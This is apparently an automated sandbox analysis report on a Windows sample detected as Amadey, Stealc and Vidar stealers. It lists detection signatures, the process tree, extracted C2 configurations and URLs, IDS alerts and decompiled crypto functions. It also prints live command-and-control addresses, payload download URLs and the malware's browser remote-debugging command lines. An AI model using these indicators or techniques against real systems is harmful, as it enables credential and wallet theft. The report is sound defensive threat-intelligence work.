Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561681
MD5:	d3fb62af150353d3cb05f84d328d5601
SHA1:	98be84b348beaf1abb2a9327c5918322e840a274
SHA256:	3a0642019f4c38e2b2b89e00492dfa809723534f7753ce480e01482ca191b950
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 884 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D3FB62AF150353D3CB05F84D328D5601)

chrome.exe (PID: 7612 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7864 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2692 --field-trial-handle=2376,i,6617676585187416704,17059390612542835592,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 6440 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 3872 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2172,i,2543754135559751923,12033645619070038089,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8420 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDGCGHCGHC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsJDGCGHCGHC.exe (PID: 8324 cmdline: "C:\Users\user\DocumentsJDGCGHCGHC.exe" MD5: 5CA58D76EDC0E7291BF3D6BAD7EDBBE9)

skotes.exe (PID: 7500 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 5CA58D76EDC0E7291BF3D6BAD7EDBBE9)

msedge.exe (PID: 1668 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8004 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2760 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8864 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6216 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8916 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6436 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 9112 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7148 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 9124 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7148 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 7896 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6120 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 7052 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 5CA58D76EDC0E7291BF3D6BAD7EDBBE9)

skotes.exe (PID: 8764 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 5CA58D76EDC0E7291BF3D6BAD7EDBBE9)

rh.exe (PID: 8628 cmdline: "C:\Users\user\AppData\Local\Temp\1008589001\rh.exe" MD5: 4CECB04D97630CC2D5CCE80368B87FDD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001D.00000003.2773428393.0000000004A80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.2817525891.0000000000C31000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.2724080471.0000000000901000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.2775957825.0000000004810000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.2765391942.00000000001F1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.2725070712.000000000109E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.2723817115.00000000049F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.2817104991.0000000000C31000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.3283014873.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.3436986660.0000000000C31000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.2201312875.0000000004D50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 884	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 884	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 884	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 884	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
30.2.skotes.exe.c30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.2.skotes.exe.c30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.DocumentsJDGCGHCGHC.exe.1f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
29.2.skotes.exe.c30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 884, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7612, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T04:22:12.392230+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50140	31.41.244.11	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T04:20:20.082512+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49718	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T04:20:19.961828+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49718	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T04:20:20.420450+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49718	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T04:20:22.199976+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49718	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T04:20:20.751409+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49718	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T04:20:19.463028+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49718	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T04:22:07.592416+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50126	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T04:22:18.199378+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50134	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T04:22:12.392230+0100	2803305	3	Unknown Traffic	192.168.2.6	50140	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T04:20:22.942248+0100	2803304	3	Unknown Traffic	192.168.2.6	49718	185.215.113.206	80	TCP
2024-11-24T04:20:45.078177+0100	2803304	3	Unknown Traffic	192.168.2.6	49835	185.215.113.206	80	TCP
2024-11-24T04:20:47.177246+0100	2803304	3	Unknown Traffic	192.168.2.6	49835	185.215.113.206	80	TCP
2024-11-24T04:20:48.552796+0100	2803304	3	Unknown Traffic	192.168.2.6	49835	185.215.113.206	80	TCP
2024-11-24T04:20:49.729921+0100	2803304	3	Unknown Traffic	192.168.2.6	49835	185.215.113.206	80	TCP
2024-11-24T04:20:53.677139+0100	2803304	3	Unknown Traffic	192.168.2.6	49835	185.215.113.206	80	TCP
2024-11-24T04:20:54.915429+0100	2803304	3	Unknown Traffic	192.168.2.6	49835	185.215.113.206	80	TCP
2024-11-24T04:21:01.346686+0100	2803304	3	Unknown Traffic	192.168.2.6	49964	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllC	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php=C:	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpGHCGHC.exeata;	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpq.	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dll=	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dlly	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phprograms	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllU	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpC:	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001E.00000002.2817525891.0000000000C31000.00000040.00000001.01000000.0000000D.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000001.00000002.2725070712.000000000109E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\rh[1].exe	ReversingLabs: Detection: 41%
Source: C:\Users\user\AppData\Local\Temp\1008589001\rh.exe	ReversingLabs: Detection: 41%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	1_2_6CADA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD44C0 PK11_PubEncrypt,	1_2_6CAD44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAA4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	1_2_6CAA4420
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD4440 PK11_PrivDecrypt,	1_2_6CAD4440
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB225B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	1_2_6CB225B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CABE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	1_2_6CABE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAB8670 PK11_ExportEncryptedPrivKeyInfo,	1_2_6CAB8670
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	1_2_6CADA650
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	1_2_6CAFA730
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB00180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	1_2_6CB00180
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD43B0 PK11_PubEncryptPKCS1,PR_SetError,	1_2_6CAD43B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	1_2_6CAF7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	1_2_6CAFBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAB7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	1_2_6CAB7D60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	1_2_6CAF9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD3FF0 PK11_PrivDecryptPKCS1,	1_2_6CAD3FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD9840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	1_2_6CAD9840
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD3850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	1_2_6CAD3850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFDA40 SEC_PKCS7ContentIsEncrypted,	1_2_6CAFDA40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB07410 NSS_SecureMemcmp,PR_SetError,PK11_Decrypt,	1_2_6CB07410
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD3560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	1_2_6CAD3560

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.10:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.10:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.10:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.6:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.234.120.54:443 -> 192.168.2.6:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.6:49802 version: TLS 1.2
